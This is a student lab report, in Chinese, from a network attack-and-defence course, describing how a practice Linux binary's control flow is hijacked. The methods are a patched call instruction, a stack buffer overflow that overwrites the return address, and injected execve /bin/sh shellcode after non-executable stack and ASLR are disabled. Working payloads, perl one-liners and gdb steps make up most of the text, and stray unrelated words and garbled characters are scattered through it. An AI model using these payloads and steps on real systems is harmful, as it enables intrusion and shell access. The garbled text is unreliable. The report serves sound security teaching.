本次实践的对象是一个名为20154324的linux可执行文件。linux
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。vim
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。sass
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。安全
3.注入一个shellcode并运行这段shellcode。网络
1.熟悉Linux基本操做。dom
2.理解Bof的原理。编辑器
3.会使用gdb,vi。函数
4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。学习
由图中可见,main函数中在80484b5地址的''call 8048491''这条指令,会调用地址为8048491的foo函数,而其对应机器指令为“e8 d7ffffff”,根据foo函数中的指令猜想,e8为''call''指令,即跳转指令。按照正常流程,会执行main函数中的下一步,即80484ba地址的指令,此时EIP的值为80484ba,但此时执行call指令,会跳转到8048491,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
那咱们想让它调用getShell,只要修改 d7ffffff 为 getShell-80484ba 对应的补码就行。用Windows计算器,直接 47d-4ba就能获得补码,是c3ffffff。
vi 20154324
:%!xxd -r
:wq
objdump -d 20154324 | more
查看后,肯定正确调用getShell。
./20154324
由图中可看出,main主函数会调用foo函数,咱们将实现main主函数调用getshell函数,并获得getshell函数的地址为“0804847d”。
咱们输入1111111122222222333333334444444412345678进行尝试。
能够由图中看出,1234为溢出字符,且存储为倒序。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
并用16进制查看指令xxd,查看input文件的内容是否如预期。
xxd input
shellcode就是一段机器指令,咱们这里使用的shellcode是文章“Shellcode”入门中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
apt-get install execstack
execstack -s 20154324
execstack -q 20154324
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。缓冲区小就用前一种方法,缓冲区大就用后一种方法。这里,咱们这个buf够放这个shellcode了,咱们选用前一种方法。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。
注意:最后一个字符不能是\x0a,即回车!
(cat input_shellcode;cat) | ./20154324
特别注意:只须要按一次回车就好了!
1.查看进程号为:4556
ps -ef | grep 20154324
2.启动gdb进行调试
-gdb
-attach 4556
disassemble foo
能够看到,会断在080484ae,ret完,就跳到咱们覆盖的retaddr的位置了。
-break *0x080484ae
-c
x/16x 0xffffd3bc
如图,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4应该紧挨着shellcode,因此shellcode的位置应该是0xffffd3c0。
perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154324
如图所示,注入攻击成功。
在此次实践中,咱们经过三种方法改变了执行文件的执行流程,三种方法,对应着三种不一样的攻击思路,分别是:
此次的实践,让我感觉到网络攻防技术的重要性,即便此次的攻击有一些前提,须要系统存在一些漏洞。而在我看来,漏洞,在大多数电脑中是存在的,也许是操做系统的漏洞,也许是某个软件的漏洞,而这些漏洞,就是电脑安全保卫线中的一个个缺口,也许这些缺口都不大,可是威力倒是不容小视的,一旦被攻破,也许本身的电脑就会被别人监控,甚至控制。在以后的课堂上,必定要认真听讲,也必定要多作实践,这样才能学好网络对抗,才能保护好本身的电脑。